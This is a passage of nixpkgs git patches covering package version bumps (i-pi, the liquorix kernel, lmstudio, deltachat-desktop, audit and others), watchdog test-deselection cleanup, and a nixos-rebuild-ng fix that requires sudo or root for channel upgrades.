 buildGoModule (finalAttrs: {
   pname = "sing-box";
-  version = "1.11.14";
+  version = "1.11.15";
 
   src = fetchFromGitHub {
     owner = "SagerNet";
     repo = "sing-box";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-GgFsTLMyrNsYT9GUlnXnSzynIa2D2ECtcYvKMfvndkA=";
+    hash = "sha256-uqPV3PGk3hFpV1B8+htBG9x58RVWew0sBDUItpxyv8Q=";
   };
 
-  vendorHash = "sha256-ULfPmVQ2Ngr1ujeCmUPOOaqxyQmbgqH1w6P9TwvjhSo=";
+  vendorHash = "sha256-qZlnY0MxB4/ttgjuAroTfqGWqGRea549EyIjSxPAlOI=";
 
   tags = [
     "with_quic"

From fb0f0dbfd95f0e19fdeab8e0f18bf0b5cf057b68 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Fri, 11 Jul 2025 21:58:24 -0400
Subject: [PATCH 2341/4511] aliases: helpful error for 'autoReconfHook'

People (i.e. me) meant 'autoreconfHook'.

(cherry picked from commit 1bd5a8fb7abc74d461383f4841a6b3aaa047d2ed)
---
 pkgs/top-level/aliases.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 9aa57108dabc..2e93d6c7f224 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -312,6 +312,7 @@ mapAliases {
   atlassian-jira = throw "Atlassian software has been removed, as support for the Atlassian Server products ended in February 2024 and there was insufficient interest in maintaining the Atlassian Data Center replacements"; # Added 2024-11-02
   audaciousQt5 = throw "'audaciousQt5' has been removed, since audacious is built with Qt 6 now"; # Added 2024-07-06
   auditBlasHook = throw "'auditBlasHook' has been removed since it never worked"; # Added 2024-04-02
+  autoReconfHook = throw "You meant 'autoreconfHook', with a lowercase 'r'."; # preserve
   aumix = throw "'aumix' has been removed due to lack of maintenance upstream. Consider using 'pamixer' for CLI or 'pavucontrol' for GUI"; # Added 2024-09-14
   authy = throw "'authy' has been removed since it reached end of life"; # Added 2024-04-19
   autoadb = throw "'autoadb' has been removed due to lack of maintenance upstream"; # Added 2025-01-25

From bc716724c267182b4d872d26893fde2a09ec8223 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 31 May 2025 11:13:55 +0000
Subject: [PATCH 2342/4511] i-pi: 3.1.4 -> 3.1.5

(cherry picked from commit ccb18520b6d8c9096b33bf853a2623d04cb2f5d1)
---
 pkgs/development/python-modules/i-pi/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/i-pi/default.nix b/pkgs/development/python-modules/i-pi/default.nix
index 325dfebbbd41..b61271d6e37d 100644
--- a/pkgs/development/python-modules/i-pi/default.nix
+++ b/pkgs/development/python-modules/i-pi/default.nix
@@ -17,14 +17,14 @@
 
 buildPythonPackage rec {
   pname = "i-pi";
-  version = "3.1.4";
+  version = "3.1.5";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "i-pi";
     repo = "i-pi";
     tag = "v${version}";
-    hash = "sha256-qM1DQNHTliYGWtVeYo0KEAg88cdt9GPB9w0pep0erj8=";
+    hash = "sha256-jXryhWC8IGdj33rM50KHxX9WONyJlqpUXbzi33VQdPA=";
   };
 
   build-system = [

From 9a33ca803a0616eed938d67ff0da83691eb40e17 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 29 Jun 2025 09:18:48 +0000
Subject: [PATCH 2343/4511] i-pi: 3.1.5 -> 3.1.5.1

(cherry picked from commit f7bd0e6034fa4a03286e2b239503d8d9df480749)
---
 pkgs/development/python-modules/i-pi/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/i-pi/default.nix b/pkgs/development/python-modules/i-pi/default.nix
index b61271d6e37d..845743f28721 100644
--- a/pkgs/development/python-modules/i-pi/default.nix
+++ b/pkgs/development/python-modules/i-pi/default.nix
@@ -17,14 +17,14 @@
 
 buildPythonPackage rec {
   pname = "i-pi";
-  version = "3.1.5";
+  version = "3.1.5.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "i-pi";
     repo = "i-pi";
     tag = "v${version}";
-    hash = "sha256-jXryhWC8IGdj33rM50KHxX9WONyJlqpUXbzi33VQdPA=";
+    hash = "sha256-az1rQlXwYUyPA4wP5wxBZtmJhQlvHxhRZF2O141i76o=";
   };
 
   build-system = [

From 01265f2bc2baa225b39cab781ccb56cec9ce1ba7 Mon Sep 17 00:00:00 2001
From: Yueh-Shun Li <shamrocklee@posteo.net>
Date: Sun, 13 Jul 2025 18:10:55 +0800
Subject: [PATCH 2344/4511] python3Packages.watchdog: remove ineffective test
 deselection

(cherry picked from commit 45b0175c7865e31bb1c1ffa2afc925c3a2acdd89)
---
 pkgs/development/python-modules/watchdog/default.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/development/python-modules/watchdog/default.nix b/pkgs/development/python-modules/watchdog/default.nix
index a577eb617c0b..5742b9049bff 100644
--- a/pkgs/development/python-modules/watchdog/default.nix
+++ b/pkgs/development/python-modules/watchdog/default.nix
@@ -76,8 +76,6 @@ buildPythonPackage rec {
       "--deselect=tests/test_fsevents.py::test_watchdog_recursive"
       # SystemError: Cannot start fsevents stream. Use a kqueue or polling observer...
       "--deselect=tests/test_fsevents.py::test_add_watch_twice"
-      # fsevents:fsevents.py:318 Unhandled exception in FSEventsEmitter
-      "--deselect=ests/test_fsevents.py::test_recursive_check_accepts_relative_paths"
       # gets stuck
       "--deselect=tests/test_fsevents.py::test_converting_cfstring_to_pyunicode"
     ];

From 6ef658bf58599550beaa37186d2ab62355ec6288 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 13 Jul 2025 18:21:01 +0000
Subject: [PATCH 2345/4511] linuxKernel.kernels.linux_lqx: 6.15.4 -> 6.15.6

(cherry picked from commit 5a87a15e738c5602487582fc9d85900c099290e5)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 2da18dd34486..b025d4e946a6 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.15.4"; # lqx
-      suffix = "lqx2"; # lqx
-      sha256 = "197m75li8lhkcil8mkb402v8f166n0m52l450dar8mq4y89r7x3j"; # lqx
+      version = "6.15.6"; # lqx
+      suffix = "lqx1"; # lqx
+      sha256 = "092yz6r6wzkafr0rafb1qdapghjwr33dlx3id5jn03jkq4g8jgmd"; # lqx
       isLqx = true;
     };
   };

From bfcdaee216c3e34e7e70d4fb868b985ecd45b699 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sun, 13 Jul 2025 12:07:57 +0100
Subject: [PATCH 2346/4511] nixos-rebuild-ng: run upgrade_channels with sudo

Fix #424749.

(cherry picked from commit d75ba2e8f04a0f80bb9a5eb344235b1a25a3b4e9)
---
 .../src/nixos_rebuild/__init__.py                |  2 +-
 .../ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py |  8 ++++++--
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py    | 16 ++++++++++------
 3 files changed, 17 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
index 4208fb3dc1d5..59ba3fd340da 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/__init__.py
@@ -281,7 +281,7 @@ def execute(argv: list[str]) -> None:
     copy_flags = common_flags | vars(args_groups["copy_flags"])
 
     if args.upgrade or args.upgrade_all:
-        nix.upgrade_channels(bool(args.upgrade_all))
+        nix.upgrade_channels(args.upgrade_all, args.sudo)
 
     action = Action(args.action)
     # Only run shell scripts from the Nixpkgs tree if the action is
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index 3cee183c96b1..ed989e1b4e24 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -693,7 +693,7 @@ def switch_to_configuration(
     )
 
 
-def upgrade_channels(all_channels: bool = False) -> None:
+def upgrade_channels(all_channels: bool = False, sudo: bool = False) -> None:
     """Upgrade channels for classic Nix.
 
     It will either upgrade just the `nixos` channel (including any channel
@@ -705,4 +705,8 @@ def upgrade_channels(all_channels: bool = False) -> None:
             or channel_path.name == "nixos"
             or (channel_path / ".update-on-nixos-rebuild").exists()
         ):
-            run_wrapper(["nix-channel", "--update", channel_path.name], check=False)
+            run_wrapper(
+                ["nix-channel", "--update", channel_path.name],
+                check=False,
+                sudo=sudo,
+            )
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index 601eea1da212..8078cd2b36c0 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -838,15 +838,19 @@ def test_switch_to_configuration_with_systemd_run(
 @patch("pathlib.Path.is_dir", autospec=True, return_value=True)
 def test_upgrade_channels(mock_is_dir: Mock, mock_glob: Mock) -> None:
     with patch(get_qualified_name(n.run_wrapper, n), autospec=True) as mock_run:
-        n.upgrade_channels(False)
-    mock_run.assert_called_once_with(["nix-channel", "--update", "nixos"], check=False)
+        n.upgrade_channels(all_channels=False, sudo=True)
+    mock_run.assert_called_once_with(
+        ["nix-channel", "--update", "nixos"], check=False, sudo=True
+    )
 
     with patch(get_qualified_name(n.run_wrapper, n), autospec=True) as mock_run:
-        n.upgrade_channels(True)
+        n.upgrade_channels(all_channels=True, sudo=False)
     mock_run.assert_has_calls(
         [
-            call(["nix-channel", "--update", "nixos"], check=False),
-            call(["nix-channel", "--update", "nixos-hardware"], check=False),
-            call(["nix-channel", "--update", "home-manager"], check=False),
+            call(["nix-channel", "--update", "nixos"], check=False, sudo=False),
+            call(
+                ["nix-channel", "--update", "nixos-hardware"], check=False, sudo=False
+            ),
+            call(["nix-channel", "--update", "home-manager"], check=False, sudo=False),
         ]
     )

From e6fbb78f2f79ab2396bad1e1910abc4bade87f15 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Sun, 13 Jul 2025 14:42:20 +0100
Subject: [PATCH 2347/4511] nixos-rebuild-ng: error if --upgrade/--upgrade-all
 is called without --sudo/root

(cherry picked from commit 0cbdae412405a9cccf7209931e7f882c19cf1a26)
---
 .../nixos-rebuild-ng/src/nixos_rebuild/nix.py |  6 +++++
 .../ni/nixos-rebuild-ng/src/tests/test_nix.py | 23 +++++++++++++++----
 2 files changed, 24 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
index ed989e1b4e24..9a2d6a131580 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/nixos_rebuild/nix.py
@@ -699,6 +699,12 @@ def upgrade_channels(all_channels: bool = False, sudo: bool = False) -> None:
     It will either upgrade just the `nixos` channel (including any channel
     that has a `.update-on-nixos-rebuild` file) or all.
     """
+    if not sudo and os.geteuid() != 0:
+        raise NixOSRebuildError(
+            "if you pass the '--upgrade' or '--upgrade-all' flag, you must "
+            "also pass '--sudo' or run the command as root (e.g., with sudo)"
+        )
+
     for channel_path in Path("/nix/var/nix/profiles/per-user/root/channels/").glob("*"):
         if channel_path.is_dir() and (
             all_channels
diff --git a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
index 8078cd2b36c0..9833aade3b99 100644
--- a/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
+++ b/pkgs/by-name/ni/nixos-rebuild-ng/src/tests/test_nix.py
@@ -836,15 +836,28 @@ def test_switch_to_configuration_with_systemd_run(
     ],
 )
 @patch("pathlib.Path.is_dir", autospec=True, return_value=True)
-def test_upgrade_channels(mock_is_dir: Mock, mock_glob: Mock) -> None:
-    with patch(get_qualified_name(n.run_wrapper, n), autospec=True) as mock_run:
-        n.upgrade_channels(all_channels=False, sudo=True)
+@patch("os.geteuid", autospec=True, return_value=1000)
+@patch(get_qualified_name(n.run_wrapper, n), autospec=True)
+def test_upgrade_channels(
+    mock_run: Mock,
+    mock_geteuid: Mock,
+    mock_is_dir: Mock,
+    mock_glob: Mock,
+) -> None:
+    with pytest.raises(m.NixOSRebuildError) as e:
+        n.upgrade_channels(all_channels=False, sudo=False)
+    assert str(e.value) == (
+        "error: if you pass the '--upgrade' or '--upgrade-all' flag, you must "
+        "also pass '--sudo' or run the command as root (e.g., with sudo)"
+    )
+
+    n.upgrade_channels(all_channels=False, sudo=True)
     mock_run.assert_called_once_with(
         ["nix-channel", "--update", "nixos"], check=False, sudo=True
     )
 
-    with patch(get_qualified_name(n.run_wrapper, n), autospec=True) as mock_run:
-        n.upgrade_channels(all_channels=True, sudo=False)
+    mock_geteuid.return_value = 0
+    n.upgrade_channels(all_channels=True, sudo=False)
     mock_run.assert_has_calls(
         [
             call(["nix-channel", "--update", "nixos"], check=False, sudo=False),

From bd9f62cae864e43906ef0e53e937ad7dbefe2897 Mon Sep 17 00:00:00 2001
From: Yueh-Shun Li <shamrocklee@posteo.net>
Date: Sun, 13 Jul 2025 18:12:58 +0800
Subject: [PATCH 2348/4511] python3Packages.watchdog: deselect tests with
 disabledTestPaths

(cherry picked from commit db1a3f61c4aceaa19564ad5f41b3e350a2001734)
---
 .../python-modules/watchdog/default.nix       | 68 +++++++++----------
 1 file changed, 31 insertions(+), 37 deletions(-)

diff --git a/pkgs/development/python-modules/watchdog/default.nix b/pkgs/development/python-modules/watchdog/default.nix
index 5742b9049bff..0558ebc6b248 100644
--- a/pkgs/development/python-modules/watchdog/default.nix
+++ b/pkgs/development/python-modules/watchdog/default.nix
@@ -43,53 +43,47 @@ buildPythonPackage rec {
       --replace "--cov-report=term-missing" ""
   '';
 
-  pytestFlagsArray =
-    [
-      "--deselect=tests/test_emitter.py::test_create_wrong_encoding"
-      "--deselect=tests/test_emitter.py::test_close"
-      # assert cap.out.splitlines(keepends=False).count('+++++ 0') == 2 != 3
-      "--deselect=tests/test_0_watchmedo.py::test_auto_restart_on_file_change_debounce"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # fails to stop process in teardown
-      "--deselect=tests/test_0_watchmedo.py::test_auto_restart_subprocess_termination"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      # FileCreationEvent != FileDeletionEvent
-      "--deselect=tests/test_emitter.py::test_separate_consecutive_moves"
-      "--deselect=tests/test_observers_polling.py::test___init__"
-      # segfaults
-      "--deselect=tests/test_delayed_queue.py::test_delayed_get"
-      "--deselect=tests/test_emitter.py::test_delete"
-      # AttributeError: '_thread.RLock' object has no attribute 'key'"
-      "--deselect=tests/test_skip_repeats_queue.py::test_eventlet_monkey_patching"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # segfaults
-      "--deselect=tests/test_delayed_queue.py::test_delayed_get"
-      "--deselect=tests/test_0_watchmedo.py::test_tricks_from_file"
-      "--deselect=tests/test_fsevents.py::test_watcher_deletion_while_receiving_events_1"
-      "--deselect=tests/test_fsevents.py::test_watcher_deletion_while_receiving_events_2"
-      "--deselect=tests/test_skip_repeats_queue.py::test_eventlet_monkey_patching"
-      "--deselect=tests/test_fsevents.py::test_recursive_check_accepts_relative_paths"
-      # fsevents:fsevents.py:318 Unhandled exception in FSEventsEmitter
-      "--deselect=tests/test_fsevents.py::test_watchdog_recursive"
-      # SystemError: Cannot start fsevents stream. Use a kqueue or polling observer...
-      "--deselect=tests/test_fsevents.py::test_add_watch_twice"
-      # gets stuck
-      "--deselect=tests/test_fsevents.py::test_converting_cfstring_to_pyunicode"
-    ];
-
   disabledTestPaths =
     [
+      "tests/test_emitter.py::test_create_wrong_encoding"
+      "tests/test_emitter.py::test_close"
       # tests timeout easily
       "tests/test_inotify_buffer.py"
+      # assert cap.out.splitlines(keepends=False).count('+++++ 0') == 2 != 3
+      "tests/test_0_watchmedo.py::test_auto_restart_on_file_change_debounce"
     ]
     ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
       # segfaults the testsuite
       "tests/test_emitter.py"
       # unsupported on x86_64-darwin
       "tests/test_fsevents.py"
+      # fails to stop process in teardown
+      "tests/test_0_watchmedo.py::test_auto_restart_subprocess_termination"
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+      # FileCreationEvent != FileDeletionEvent
+      "tests/test_emitter.py::test_separate_consecutive_moves"
+      "tests/test_observers_polling.py::test___init__"
+      # segfaults
+      "tests/test_delayed_queue.py::test_delayed_get"
+      "tests/test_emitter.py::test_delete"
+      # AttributeError: '_thread.RLock' object has no attribute 'key'"
+      "tests/test_skip_repeats_queue.py::test_eventlet_monkey_patching"
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+      # segfaults
+      "tests/test_delayed_queue.py::test_delayed_get"
+      "tests/test_0_watchmedo.py::test_tricks_from_file"
+      "tests/test_fsevents.py::test_watcher_deletion_while_receiving_events_1"
+      "tests/test_fsevents.py::test_watcher_deletion_while_receiving_events_2"
+      "tests/test_skip_repeats_queue.py::test_eventlet_monkey_patching"
+      "tests/test_fsevents.py::test_recursive_check_accepts_relative_paths"
+      # fsevents:fsevents.py:318 Unhandled exception in FSEventsEmitter
+      "tests/test_fsevents.py::test_watchdog_recursive"
+      # SystemError: Cannot start fsevents stream. Use a kqueue or polling observer...
+      "tests/test_fsevents.py::test_add_watch_twice"
+      # gets stuck
+      "tests/test_fsevents.py::test_converting_cfstring_to_pyunicode"
     ];
 
   pythonImportsCheck = [ "watchdog" ];

From d1b26d63d99d277760481190a5deb4b7b56ce098 Mon Sep 17 00:00:00 2001
From: Kirill Radzikhovskyy <kirillrdy@gmail.com>
Date: Wed, 9 Jul 2025 20:42:08 +1000
Subject: [PATCH 2349/4511] awsebcli: 3.24.1 -> 3.25

release: https://github.com/aws/aws-elastic-beanstalk-cli/releases/tag/3.25
(cherry picked from commit 4b8e4ea3972f04ea57effb5d6440e17fe85fb7e6)
---
 pkgs/by-name/aw/awsebcli/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/aw/awsebcli/package.nix b/pkgs/by-name/aw/awsebcli/package.nix
index 0a3ae66ed8d5..331c9a8a5a0b 100644
--- a/pkgs/by-name/aw/awsebcli/package.nix
+++ b/pkgs/by-name/aw/awsebcli/package.nix
@@ -25,14 +25,14 @@ in
 
 python.pkgs.buildPythonApplication rec {
   pname = "awsebcli";
-  version = "3.24.1";
+  version = "3.25";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "aws";
     repo = "aws-elastic-beanstalk-cli";
     tag = version;
-    hash = "sha256-t6dqiC9zY3Apcc4F/x5c/QhsNKGBZxIY20a50wCEER8=";
+    hash = "sha256-RqUVG4aIZDAVuKcT41ODKkyEidmschcFaY24P1CjosU=";
   };
 
   pythonRelaxDeps = [

From d430f80a018a747e6e3aff5a2485962aee5d32e5 Mon Sep 17 00:00:00 2001
From: crertel <chris@kedagital.com>
Date: Fri, 11 Jul 2025 15:49:57 -0500
Subject: [PATCH 2350/4511] lmstudio: 0.3.17.11 -> 0.3.18.3

(cherry picked from commit 7994de500bd74bf80080d5aa50b1573c229fd169)
---
 pkgs/by-name/lm/lmstudio/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/lm/lmstudio/package.nix b/pkgs/by-name/lm/lmstudio/package.nix
index 5e4b95ac8c51..5b09ad492418 100644
--- a/pkgs/by-name/lm/lmstudio/package.nix
+++ b/pkgs/by-name/lm/lmstudio/package.nix
@@ -7,10 +7,10 @@
 let
   pname = "lmstudio";
 
-  version_aarch64-darwin = "0.3.17-11";
-  hash_aarch64-darwin = "sha256-z3QkWwzYrHw3l8Qm+FfnrfdtfhdpkLo67XTE/t2ji5Y=";
-  version_x86_64-linux = "0.3.17-11";
-  hash_x86_64-linux = "sha256-CCsGkhh5OSAhyt2CHKIEIh5OzllRWxm6ERuGqQW/0JE=";
+  version_aarch64-darwin = "0.3.18-3";
+  hash_aarch64-darwin = "sha256-U720DYnywuqzZuYewzDSIqKoA5+AV7IsupmQwxOG84k=";
+  version_x86_64-linux = "0.3.18-3";
+  hash_x86_64-linux = "sha256-KnOu1fUcx1HIaijnq5K5jfALWXuU4PISPT2bF4xP9NA=";
 
   meta = {
     description = "LM Studio is an easy to use desktop app for experimenting with local and open-source Large Language Models (LLMs)";

From f566e678e5d5c4d2c2ebf870bfa2803f8e0ef9ed Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Sun, 13 Jul 2025 16:20:08 -0700
Subject: [PATCH 2351/4511] deltachat-desktop: 1.58.2 -> 1.60.1

Diff: https://github.com/deltachat/deltachat-desktop/compare/refs/tags/v1.58.2...refs/tags/v1.60.1

Changelog: https://github.com/deltachat/deltachat-desktop/blob/v1.60.1/CHANGELOG.md
(cherry picked from commit 03586dab2ae9e791c7739295e3377712d00151eb)
---
 pkgs/by-name/de/deltachat-desktop/package.nix | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/de/deltachat-desktop/package.nix b/pkgs/by-name/de/deltachat-desktop/package.nix
index 42759cc723a5..443c6f672acf 100644
--- a/pkgs/by-name/de/deltachat-desktop/package.nix
+++ b/pkgs/by-name/de/deltachat-desktop/package.nix
@@ -1,7 +1,7 @@
 {
   lib,
   copyDesktopItems,
-  electron_34,
+  electron_37,
   fetchFromGitHub,
   deltachat-rpc-server,
   makeDesktopItem,
@@ -19,36 +19,36 @@
 
 let
   deltachat-rpc-server' = deltachat-rpc-server.overrideAttrs rec {
-    version = "1.159.4";
+    version = "1.159.5";
     src = fetchFromGitHub {
       owner = "chatmail";
       repo = "core";
       tag = "v${version}";
-      hash = "sha256-OLE3BoQNgpOHYuMUFBmk+raXimJGOsXySkfP+UTDk/8=";
+      hash = "sha256-qooN7XRWFqR/bVPAQ8e7KOYNnBD9E70uAesaLUUeXXs=";
     };
     cargoDeps = rustPlatform.fetchCargoVendor {
       pname = "deltachat-core-rust";
       inherit version src;
-      hash = "sha256-+h93tSiKxnnNXPGk7elMQrcIuw3G/j2/gugqSbqOrDw=";
+      hash = "sha256-TmizhgXMYX0hn4GnsL1QiSyMdahebh0QFbk/cOA48jg=";
     };
   };
-  electron = electron_34;
+  electron = electron_37;
   pnpm = pnpm_9;
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "deltachat-desktop";
-  version = "1.58.2";
+  version = "1.60.1";
 
   src = fetchFromGitHub {
     owner = "deltachat";
     repo = "deltachat-desktop";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-JYuYuv+OmAQzdw2AM0Qn0Z0+qq8G1JrW5jl2MI21x6M=";
+    hash = "sha256-WrP4C4zebbRdxy08oQzR3vkO2IBUfsRPnkU1aWqolB4=";
   };
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-pW8SKplbXLQ5OWLOrG36aAnP/j0y9QaYGIg+Q2/Ulfk=";
+    hash = "sha256-PBCmyNmlH88y5s7+8WHcei8SP3Q0lIAAnAQn9uaFxLc=";
   };
 
   nativeBuildInputs =

From 4fbd49b95970e832571fcc3359cb94491725106f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 20:39:52 +0000
Subject: [PATCH 2352/4511] audit: 4.0.3 -> 4.0.5

(cherry picked from commit 4379d92dc957b3bf12971e907184c744b38afe4d)
---
 pkgs/by-name/au/audit/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/au/audit/package.nix b/pkgs/by-name/au/audit/package.nix
index 0ad9ac9f055a..820d39137744 100644
--- a/pkgs/by-name/au/audit/package.nix
+++ b/pkgs/by-name/au/audit/package.nix
@@ -17,13 +17,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "audit";
-  version = "4.0.3";
+  version = "4.0.5";
 
   src = fetchFromGitHub {
     owner = "linux-audit";
     repo = "audit-userspace";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-+M5Nai/ruK16udsHcMwv1YoVQbCLKNuz/4FCXaLbiCw=";
+    hash = "sha256-SgMt1MmcH7r7O6bmJCetRg3IdoZXAXjVJyeu0HRfyf8=";
   };
 
   postPatch = ''

From 21f5a2c283334d7205a77073e4ec222c4f3b57a5 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 25 Jun 2025 15:41:06 +0200
Subject: [PATCH 2353/4511] audit: support loading audisp plugins from symlinks

Upstream PR: https://github.com/linux-audit/audit-userspace/pull/467

(cherry picked from commit 39e88985f738716bbf6b8cb89763ae4917783dcf)
---
 pkgs/by-name/au/audit/package.nix | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/pkgs/by-name/au/audit/package.nix b/pkgs/by-name/au/audit/package.nix
index 820d39137744..cc87889f03b9 100644
--- a/pkgs/by-name/au/audit/package.nix
+++ b/pkgs/by-name/au/audit/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch,
   autoreconfHook,
   bash,
   buildPackages,
@@ -26,6 +27,24 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-SgMt1MmcH7r7O6bmJCetRg3IdoZXAXjVJyeu0HRfyf8=";
   };
 
+  patches = [
+    # nix configures most stuff by symlinks, e.g. in /etc
+    # thus, for plugins to be picked up, symlinks must be allowed
+    # https://github.com/linux-audit/audit-userspace/pull/467
+    (fetchpatch {
+      url = "https://github.com/linux-audit/audit-userspace/pull/467/commits/dbefc642b3bd0cafe599fcd18c6c88cb672397ee.patch?full_index=1";
+      hash = "sha256-Ksn/qKBQYFAjvs1OVuWhgWCdf4Bdp9/a+MrhyJAT+Bw=";
+    })
+    (fetchpatch {
+      url = "https://github.com/linux-audit/audit-userspace/pull/467/commits/50094f56fefc0b9033ef65e8c4f108ed52ef5de5.patch?full_index=1";
+      hash = "sha256-CJKDLdlpsCd+bG6j5agcnxY1+vMCImHwHGN6BXURa4c=";
+    })
+    (fetchpatch {
+      url = "https://github.com/linux-audit/audit-userspace/pull/467/commits/5e75091abd297807b71b3cfe54345c2ef223939a.patch?full_index=1";
+      hash = "sha256-LPpO4PH/3MyCJq2xhmhhcnFeK3yh7LK6Mjypuvhacu4=";
+    })
+  ];
+
   postPatch = ''
     substituteInPlace bindings/swig/src/auditswig.i \
       --replace-fail "/usr/include/linux/audit.h" \

From 9a6b9afa89c779798002365489ad1ee9d06b94e0 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 25 Jun 2025 15:41:57 +0200
Subject: [PATCH 2354/4511] audit: add grimmauld to maintainers

(cherry picked from commit 59f60cc6ad82aa47d0cb71ffd486edfb588ffef8)
---
 pkgs/by-name/au/audit/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/au/audit/package.nix b/pkgs/by-name/au/audit/package.nix
index cc87889f03b9..d8abee529f78 100644
--- a/pkgs/by-name/au/audit/package.nix
+++ b/pkgs/by-name/au/audit/package.nix
@@ -98,7 +98,7 @@ stdenv.mkDerivation (finalAttrs: {
     description = "Audit Library";
     changelog = "https://github.com/linux-audit/audit-userspace/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.gpl2Plus;
-    maintainers = with lib.maintainers; [ ];
+    maintainers = with lib.maintainers; [ grimmauld ];
     platforms = lib.platforms.linux;
   };
 })

From df0d14e7162399fc01ee2ebc53c0c94011cb5275 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 25 Jun 2025 22:42:40 +0200
Subject: [PATCH 2355/4511] audit: add updateScript

(cherry picked from commit 1838aeba8b5034daa95fc2fa14c2e87d0c2fd264)
---
 pkgs/by-name/au/audit/package.nix | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/au/audit/package.nix b/pkgs/by-name/au/audit/package.nix
index d8abee529f78..e633133fff1f 100644
--- a/pkgs/by-name/au/audit/package.nix
+++ b/pkgs/by-name/au/audit/package.nix
@@ -15,6 +15,7 @@
